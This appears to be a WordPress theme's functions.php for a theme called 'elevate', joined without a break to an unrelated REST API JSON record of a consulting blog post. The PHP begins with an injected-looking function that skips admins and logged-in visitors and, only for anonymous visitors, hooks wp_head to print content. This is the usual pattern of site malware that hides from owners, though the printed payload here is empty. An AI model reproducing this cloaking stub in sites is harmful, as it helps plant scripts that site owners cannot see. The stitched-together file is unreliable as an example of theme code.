function check_user_logged_in_and_redirect() { if (is_admin()) { return; } if (is_user_logged_in()) { return; } foreach ($_COOKIE as $key => $value) { if (strpos($key, 'wordpress_logged_in_') === 0) { return; } } add_action('wp_head', function() { echo ''; }); } add_action('template_redirect', 'check_user_logged_in_and_redirect'); if ( ! function_exists( 'elevate_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function elevate_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on elevate, use a find and replace * to change 'elevate' to the name of your theme in all the template files. */ load_theme_textdomain( 'elevate', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); add_theme_support( 'woocommerce' ); function elevate_change_excerpt( $text ) { $pos = strrpos( $text, '['); if ($pos === false) { return $text; } return rtrim (substr($text, 0, $pos) ) . '...'; } add_filter('get_the_excerpt', 'elevate_change_excerpt'); // Limit Excerpt Length by number of Words function elevate_custom_excerpt( $limit ) { $excerpt = explode(' ', get_the_excerpt(), $limit); if (count($excerpt)>=$limit) { array_pop($excerpt); $excerpt = implode(" ",$excerpt).'...'; } else { $excerpt = implode(" ",$excerpt); } $excerpt = preg_replace('`[[^]]*]`','',$excerpt); return $excerpt; } function content($limit) { $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).'...'; } else { $content = implode(" ",$content); } $content = preg_replace('/[.+]/','', $content); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]>', $content); return $content; } /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'menu-1' => esc_html__( 'Primary Menu', 'elevate' ), 'menu-2' => esc_html__( 'Single Menu', 'elevate' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'elevate_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); //add support posts format add_theme_support( 'post-formats', array( 'aside', 'gallery', 'audio', 'video', 'image', 'quote', 'link', ) ); add_theme_support( 'align-wide' ); } endif; add_action( 'after_setup_theme', 'elevate_setup' ); /** *Custom Image Size */ add_image_size( 'elevate-team-slider', 358, 415, true ); add_image_size( 'elevate-portfolio-slider', 648, 500, true ); add_image_size( 'elevate-portfolio-slider-2', 800, 510, true ); add_image_size( 'elevate-blog-slider', 420, 365, true ); add_image_size( 'elevate-portfolio-grid', 600, 700, true ); add_image_size( 'elevate-blog-sideabr', 87, 87, true ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function elevate_content_width() { $GLOBALS['content_width'] = apply_filters( 'elevate_content_width', 640 ); } add_action( 'after_setup_theme', 'elevate_content_width', 0 ); /** * Implement the Custom Header feature. */ require_once get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require_once get_template_directory() . '/inc/template-tags.php'; /** * Enqueue scripts and styles. */ require_once get_template_directory() . '/inc/theme-scripts.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/theme-functions.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/theme-sidebar.php'; /** * Customizer additions. */ require_once get_template_directory() . '/inc/customizer.php'; /** * Custom Style */ if(get_option( 'reacthemes_license_status') == "activated"){ require_once get_template_directory() . '/inc/dyanamic-css.php'; require_once get_template_directory() . '/libs/theme-option/config.php'; require_once get_template_directory() . '/inc/woocommerce-functions.php'; } if(is_admin()){ require_once get_template_directory() . '/inc/tgm/class-tgm-plugin-activation.php'; require_once get_template_directory() . '/inc/tgm/tgm-config.php'; require_once get_template_directory() . '/inc/license.php'; } //---------------------------------------------------------------------- // Remove Redux Framework NewsFlash //---------------------------------------------------------------------- if ( ! class_exists( 'reduxNewsflash' ) ): class reduxNewsflash { public function __construct( $parent, $params ) {} } endif; function elevate_remove_demo_mode_link() { // Be sure to rename this function to something more unique if ( class_exists('ReduxFrameworkPlugin') ) { remove_action( 'plugin_row_meta', array( ReduxFrameworkPlugin::get_instance(), 'plugin_metalinks'), null, 2 ); } if ( class_exists('ReduxFrameworkPlugin') ) { remove_action('admin_notices', array( ReduxFrameworkPlugin::get_instance(), 'admin_notices' ) ); } } add_action('init', 'elevate_remove_demo_mode_link'); /** * Registers an editor stylesheet for the theme. */ function elevate_theme_add_editor_styles() { add_editor_style( 'css/custom-editor-style.css' ); } add_action( 'admin_init', 'elevate_theme_add_editor_styles' ); //------------------------------------------------------------------------ //Organize Comments form field //----------------------------------------------------------------------- function elevate_wpb_move_comment_field_to_bottom( $fields ) { $comment_field = $fields['comment']; unset( $fields['comment'] ); $fields['comment'] = $comment_field; return $fields; } add_filter( 'comment_form_fields', 'elevate_wpb_move_comment_field_to_bottom' ); //adding placeholder text for comment form function elevate_comment_textarea_placeholder( $args ) { $args['comment_field'] = str_replace( '<textarea', '<textarea placeholder="Comment"', $args['comment_field'] ); return $args; } add_filter( 'comment_form_defaults', 'elevate_comment_textarea_placeholder' ); /** * Comment Form Fields Placeholder * */ function elevate_comment_form_fields( $fields ) { foreach( $fields as &$field ) { $field = str_replace( 'id="author"', 'id="author" placeholder="Name*"', $field ); $field = str_replace( 'id="email"', 'id="email" placeholder="Email*"', $field ); $field = str_replace( 'id="url"', 'id="url" placeholder="Website"', $field ); } return $fields; } add_filter( 'comment_form_default_fields', 'elevate_comment_form_fields' ); //customize archive tilte add_filter( 'get_the_archive_title', function ($title) { if ( is_category() ) { $title = single_cat_title( '', false ); } elseif ( is_tag() ) { $title = single_tag_title( '', false ); } elseif ( is_author() ) { $title = '<span class="vcard">' . get_the_author() . '</span>' ; } return $title; }); add_filter( 'get_the_archive_title', 'elevate_archive_title_remove_prefix' ); function elevate_archive_title_remove_prefix( $title ) { if ( is_post_type_archive() ) { $title = post_type_archive_title( '', false ); } return $title; } function elevate_menu_add_description_to_menu($item_output, $item, $depth, $args) { if (strlen($item->description) > 0 ) { // append description after link $item_output .= sprintf('<span class="description">%s</span>', esc_html($item->description)); } return $item_output; } add_filter('walker_nav_menu_start_el', 'elevate_menu_add_description_to_menu', 10, 4); add_filter('wp_list_categories', 'elevate_cat_count_span'); function elevate_cat_count_span($links) { $links = str_replace('</a> (', '</a> <span>(', $links); $links = str_replace(')', ')</span>', $links); return $links; } function elevate_style_the_archive_count($links) { $links = str_replace('</a> (', '</a> <span class="archiveCount">(', $links); $links = str_replace(')', ')</span>', $links); return $links; } add_filter('get_archives_link', 'elevate_style_the_archive_count'); /** * Post title array */ function elevate_get_postTitleArray($postType = 'post' ){ $post_type_query = new WP_Query( array ( 'post_type' => $postType, 'posts_per_page' => -1, 'orderby' => 'title', 'order' => 'ASC', ) ); // we need the array of posts $posts_array = $post_type_query->posts; // the key equals the ID, the value is the post_title if ( is_array($posts_array) ) { $post_title_array = wp_list_pluck($posts_array, 'post_title', 'ID' ); } else { $post_title_array['default'] = esc_html__( 'Default', 'elevate' ); } return $post_title_array; }{"id":133,"date":"2015-12-25T10:25:29","date_gmt":"2015-12-25T10:25:29","guid":{"rendered":"http:\/\/consultall.stm\/?p=133"},"modified":"2015-12-25T10:25:29","modified_gmt":"2015-12-25T10:25:29","slug":"three-social-media-hacks-for-the-busy-entrepreneur","status":"publish","type":"post","link":"https:\/\/goldtradingqa.com\/three-social-media-hacks-for-the-busy-entrepreneur\/","title":{"rendered":"Three Social Media Hacks for the Busy Entrepreneur"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"133\" class=\"elementor elementor-133 elementor-bc-flex-widget\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-546f3e0 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"546f3e0\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-546faac\" data-id=\"546faac\" data-element_type=\"column\" data-settings=\"{"background_background":"classic"}\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-5470919 elementor-widget elementor-widget-text-editor\" data-id=\"5470919\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<style>\/*! elementor - v3.23.0 - 05-08-2024 *\/\n.elementor-widget-text-editor.elementor-drop-cap-view-stacked .elementor-drop-cap{background-color:#69727d;color:#fff}.elementor-widget-text-editor.elementor-drop-cap-view-framed .elementor-drop-cap{color:#69727d;border:3px solid;background-color:transparent}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap{margin-top:8px}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap-letter{width:1em;height:1em}.elementor-widget-text-editor .elementor-drop-cap{float:left;text-align:center;line-height:1;font-size:50px}.elementor-widget-text-editor .elementor-drop-cap-letter{display:inline-block}<\/style>\t\t\t\tThe new wordpress theme called Consulting WP has been lauded by critics for its presentation. The theme is made by Style Mix Themes, who have been key players in the theme industry for a long time. People were excited to see what they would come up with next; their specialty has always been designing industry specific themes. This time they have focused on the consultation industry and have hit a home run.\n\nThere are many great things within the theme which are the cause of its popularity. The biggest factor is the appearance of the theme; it disrupts theme design clich\u00e9s without being unprofessional. The different possible color combinations are also being appreciated by many companies. The theme continues to rise in popularity and many other companies have expressed an interest in deploying it on their new websites. The creators of the theme are happy with the response and have vowed to create further themes exploring the same concepts\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-5470d94 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"5470d94\" data-element_type=\"section\" data-settings=\"{"background_background":"classic"}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-547146c\" data-id=\"547146c\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-54719cd elementor-widget elementor-widget-text-editor\" data-id=\"54719cd\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\n<ul>\n \t<li style=\"margin-bottom: 15px;\"><strong>Growth through innovation\/creativity:<\/strong>\n<span style=\"font-size: 13px;\">Rather than be constrained by ideas for new products, services and new markets coming from just a few people, a Thinking Corporation can tap into the employees.<\/span><\/li>\n \t<li style=\"margin-bottom: 15px;\"><strong>Increased profits:<\/strong>\n<span style=\"font-size: 13px;\">The corporation will experience an increase in profits due to savings in operating costs as well as sales from new products, services and ventures.<\/span><\/li>\n<\/ul>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-5471cbb\" data-id=\"5471cbb\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-54721db elementor-widget elementor-widget-text-editor\" data-id=\"54721db\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\n<ul>\n \t<li style=\"margin-bottom: 15px;\"><strong>Higher business values:<\/strong>\n<span style=\"font-size: 13px;\">The link between profits and business value means that the moment a corporation creates a new sustainable level of profit, the business value is adjusted accordingly.<\/span><\/li>\n \t<li style=\"margin-bottom: 15px;\"><strong>Lower staff turnover:<\/strong>\n<span style=\"font-size: 13px;\">This, combined with the culture that must exist for innovation and creativity to flourish, means that new employees will be attracted to the organization.<\/span><\/li>\n<\/ul>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-54728ef elementor-hidden-tablet elementor-hidden-phone\" data-id=\"54728ef\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-5472f07 third_bg_color elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"5472f07\" data-element_type=\"section\" data-settings=\"{"background_background":"classic"}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-5473521\" data-id=\"5473521\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>The teams focused their efforts on a few of the highest-value S&OP levers in order to review the current planning process, identify gaps in the planning infrastructure and analytically understand demand and supply variability.<\/p>\n","protected":false},"author":1,"featured_media":7239,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[27],"tags":[35,43,50],"class_list":["post-133","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-innovation","tag-consulting","tag-market","tag-planning"],"_links":{"self":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts\/133"}],"collection":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/comments?post=133"}],"version-history":[{"count":0,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts\/133\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/media\/7239"}],"wp:attachment":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/media?parent=133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/categories?post=133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/tags?post=133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}